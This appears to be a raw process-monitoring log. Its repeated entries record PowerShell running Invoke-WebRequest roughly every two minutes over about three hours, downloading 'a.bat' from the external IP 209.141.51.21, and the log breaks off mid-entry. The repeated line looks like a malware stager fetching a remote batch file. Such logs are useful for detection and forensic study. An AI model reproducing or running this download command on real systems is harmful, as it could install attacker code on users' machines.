C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:28:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:29:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:31:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:31:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:34:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:34:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:36:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:36:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:39:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:39:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:41:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:41:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:44:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:44:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:46:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:46:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:49:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:49:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:51:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:51:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:54:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:54:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:56:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:56:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:59:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:59:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:01:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:02:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:04:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:04:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:06:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:07:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:09:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:09:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:11:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:12:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:14:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:14:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:16:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:17:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:19:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:19:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:21:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:22:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:24:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:24:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:26:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:27:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:29:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:29:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:31:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:32:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:34:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:34:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:36:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:37:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:39:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:39:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:42:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:42:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:44:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:44:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:47:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:47:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:49:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:49:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:52:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:52:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:54:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:54:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:57:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:57:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:59:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 18:59:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:02:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:02:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:04:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:05:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:07:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:07:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:09:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:10:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:12:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:12:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:14:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:15:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:17:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:17:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:19:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:20:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:22:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:22:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:24:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:25:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:27:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:27:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:29:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:30:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:32:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:32:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:34:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:35:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:37:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:37:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:39:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:40:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:42:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:42:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:45:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:45:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:47:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:47:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:50:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:50:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:52:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:52:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:55:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:55:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:57:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 19:57:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:00:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:00:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:02:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:02:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:05:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:05:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:07:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:08:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:10:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:10:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:12:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:13:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:15:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:15:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:17:48 NOTIFY: PROCESS 